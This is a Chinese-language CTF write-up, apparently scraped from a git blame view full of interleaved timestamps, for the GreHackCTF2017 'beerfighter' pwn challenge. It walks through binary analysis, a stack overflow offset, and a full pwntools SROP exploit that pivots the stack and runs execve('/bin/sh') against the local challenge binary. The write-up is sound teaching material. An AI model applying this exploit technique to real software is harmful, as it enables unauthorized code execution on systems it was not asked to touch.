2017-11-23 20:32:22 +07:00
|
|
|
|
# 6.1.5 pwn GreHackCTF2017 beerfighter
|
|
|
|
|
|
2018-05-01 20:57:53 +07:00
|
|
|
|
- [题目复现](#题目复现)
|
2017-11-23 20:32:22 +07:00
|
|
|
|
- [题目解析](#题目解析)
|
2018-05-01 20:57:53 +07:00
|
|
|
|
- [漏洞利用](#漏洞利用)
|
2018-03-16 20:04:38 +07:00
|
|
|
|
- [参考资料](#参考资料)
|
2017-11-23 20:32:22 +07:00
|
|
|
|
|
2017-12-05 18:06:40 +07:00
|
|
|
|
[下载文件](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)
|
|
|
|
|
|
2018-05-01 20:57:53 +07:00
|
|
|
|
## 题目复现
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
$ file game
|
2017-11-24 09:57:02 +07:00
|
|
|
|
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
|
2018-08-05 16:43:10 +07:00
|
|
|
|
$ checksec -f game
|
2017-12-09 09:35:26 +07:00
|
|
|
|
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
|
|
|
|
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game
|
2017-11-24 09:57:02 +07:00
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
64 位,静态链接,stripped。
|
|
|
|
|
|
|
|
|
|
既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2017-11-24 09:57:02 +07:00
|
|
|
|
[0] The bar
|
|
|
|
|
[1] The City Hall
|
|
|
|
|
[2] The dark yard
|
|
|
|
|
[3] Leave the town for ever
|
|
|
|
|
Type your action number > 1
|
|
|
|
|
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
|
|
|
|
|
How should I call you?
|
|
|
|
|
[0] Tell him your name
|
|
|
|
|
[1] Leave
|
|
|
|
|
Type your action number > 0
|
|
|
|
|
Type your character name here >
|
|
|
|
|
|
|
|
|
|
...
|
|
|
|
|
|
|
|
|
|
[0] The bar
|
|
|
|
|
[1] The City Hall
|
|
|
|
|
[2] The dark yard
|
|
|
|
|
[3] Leave the town for ever
|
|
|
|
|
Type your action number > 3
|
|
|
|
|
By !
|
|
|
|
|
|
|
|
|
|
Segmentation fault (core dumped)
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
## 题目解析
|
2018-05-01 20:57:53 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2017-11-24 09:57:02 +07:00
|
|
|
|
[0x00400d8e]> pdf @ fcn.00400773
|
|
|
|
|
/ (fcn) fcn.00400773 15
|
|
|
|
|
| fcn.00400773 ();
|
|
|
|
|
| ; CALL XREF from 0x00400221 (fcn.004001f3)
|
|
|
|
|
| ; CALL XREF from 0x004002b6 (fcn.00400288)
|
|
|
|
|
| 0x00400773 4889f8 mov rax, rdi
|
|
|
|
|
| 0x00400776 4889f7 mov rdi, rsi
|
|
|
|
|
| 0x00400779 4889d6 mov rsi, rdx
|
|
|
|
|
| 0x0040077c 4889ca mov rdx, rcx
|
|
|
|
|
| 0x0040077f 0f05 syscall
|
|
|
|
|
\ 0x00400781 c3 ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
`syscall;ret`,你想到了什么,对,就是前面讲的 SROP。
|
|
|
|
|
|
|
|
|
|
其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`。
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
```text
|
2017-11-24 09:57:02 +07:00
|
|
|
|
gdb-peda$ pattern_offset $ebp
|
|
|
|
|
1849771374 found at offset: 1040
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
缓冲区还挺大的,`1040+8=1048`。
|
2018-05-01 20:57:53 +07:00
|
|
|
|
|
|
|
|
|
## 漏洞利用
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”,从而拿到 shell。
|
|
|
|
|
|
|
|
|
|
构造 sigreturn:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2017-11-24 09:57:02 +07:00
|
|
|
|
$ ropgadget --binary game --only "pop|ret"
|
|
|
|
|
...
|
|
|
|
|
0x00000000004007b2 : pop rax ; ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
```python
|
|
|
|
|
# sigreturn syscall
|
|
|
|
|
sigreturn = p64(pop_rax_addr)
|
|
|
|
|
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
|
|
|
|
|
sigreturn += p64(syscall_addr)
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
然后是 frame_1,通过设定 `frame_1.rsp = base_addr` 来转移栈:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
```python
|
|
|
|
|
# frame_1: read frame_2 to .data
|
|
|
|
|
frame_1 = SigreturnFrame()
|
|
|
|
|
frame_1.rax = constants.SYS_read
|
|
|
|
|
frame_1.rdi = constants.STDIN_FILENO
|
|
|
|
|
frame_1.rsi = data_addr
|
|
|
|
|
frame_1.rdx = len(str(frame_2))
|
|
|
|
|
frame_1.rsp = base_addr # stack pivot
|
|
|
|
|
frame_1.rip = syscall_addr
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
frame_2 执行 `execve()`:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
```python
|
|
|
|
|
# frame_2: execve to get shell
|
|
|
|
|
frame_2 = SigreturnFrame()
|
|
|
|
|
frame_2.rax = constants.SYS_execve
|
|
|
|
|
frame_2.rdi = data_addr
|
|
|
|
|
frame_2.rsi = 0
|
|
|
|
|
frame_2.rdx = 0
|
|
|
|
|
frame_2.rip = syscall_addr
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Bingo!!!
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
$ python2 exp.py
|
2017-11-24 09:57:02 +07:00
|
|
|
|
[*] '/home/firmy/Desktop/game'
|
|
|
|
|
Arch: amd64-64-little
|
|
|
|
|
RELRO: Partial RELRO
|
|
|
|
|
Stack: No canary found
|
|
|
|
|
NX: NX enabled
|
|
|
|
|
PIE: No PIE (0x400000)
|
|
|
|
|
[+] Starting local process './game': pid 12975
|
|
|
|
|
[*] Switching to interactive mode
|
|
|
|
|
By !
|
|
|
|
|
|
|
|
|
|
$ whoami
|
|
|
|
|
firmy
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### exploit
|
|
|
|
|
|
2017-12-05 18:06:40 +07:00
|
|
|
|
完整的 exp 如下:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2017-11-24 09:57:02 +07:00
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
|
|
elf = ELF('./game')
|
|
|
|
|
io = process('./game')
|
|
|
|
|
io.recvuntil("> ")
|
|
|
|
|
io.sendline("1")
|
|
|
|
|
io.recvuntil("> ")
|
|
|
|
|
io.sendline("0")
|
|
|
|
|
io.recvuntil("> ")
|
|
|
|
|
|
|
|
|
|
context.clear()
|
|
|
|
|
context.arch = "amd64"
|
|
|
|
|
|
|
|
|
|
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
|
|
|
|
|
base_addr = data_addr + 0x8 # new stack address
|
|
|
|
|
|
|
|
|
|
# useful gadget
|
|
|
|
|
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
|
|
|
|
|
syscall_addr = 0x000000000040077f # syscall ;
|
|
|
|
|
|
|
|
|
|
# sigreturn syscall
|
|
|
|
|
sigreturn = p64(pop_rax_addr)
|
|
|
|
|
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
|
|
|
|
|
sigreturn += p64(syscall_addr)
|
|
|
|
|
|
|
|
|
|
# frame_2: execve to get shell
|
|
|
|
|
frame_2 = SigreturnFrame()
|
|
|
|
|
frame_2.rax = constants.SYS_execve
|
|
|
|
|
frame_2.rdi = data_addr
|
|
|
|
|
frame_2.rsi = 0
|
|
|
|
|
frame_2.rdx = 0
|
|
|
|
|
frame_2.rip = syscall_addr
|
|
|
|
|
|
|
|
|
|
# frame_1: read frame_2 to .data
|
|
|
|
|
frame_1 = SigreturnFrame()
|
|
|
|
|
frame_1.rax = constants.SYS_read
|
|
|
|
|
frame_1.rdi = constants.STDIN_FILENO
|
|
|
|
|
frame_1.rsi = data_addr
|
|
|
|
|
frame_1.rdx = len(str(frame_2))
|
|
|
|
|
frame_1.rsp = base_addr # stack pivot
|
|
|
|
|
frame_1.rip = syscall_addr
|
|
|
|
|
|
|
|
|
|
payload_1 = "A" * 1048
|
|
|
|
|
payload_1 += sigreturn
|
|
|
|
|
payload_1 += str(frame_1)
|
|
|
|
|
|
|
|
|
|
io.sendline(payload_1)
|
|
|
|
|
io.recvuntil("> ")
|
|
|
|
|
io.sendline("3")
|
|
|
|
|
|
|
|
|
|
payload_2 = "/bin/sh\x00"
|
|
|
|
|
payload_2 += sigreturn
|
|
|
|
|
payload_2 += str(frame_2)
|
|
|
|
|
|
|
|
|
|
io.sendline(payload_2)
|
|
|
|
|
io.interactive()
|
|
|
|
|
```
|
2018-03-16 20:04:38 +07:00
|
|
|
|
|
|
|
|
|
## 参考资料
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
- <https://ctftime.org/task/4939>
|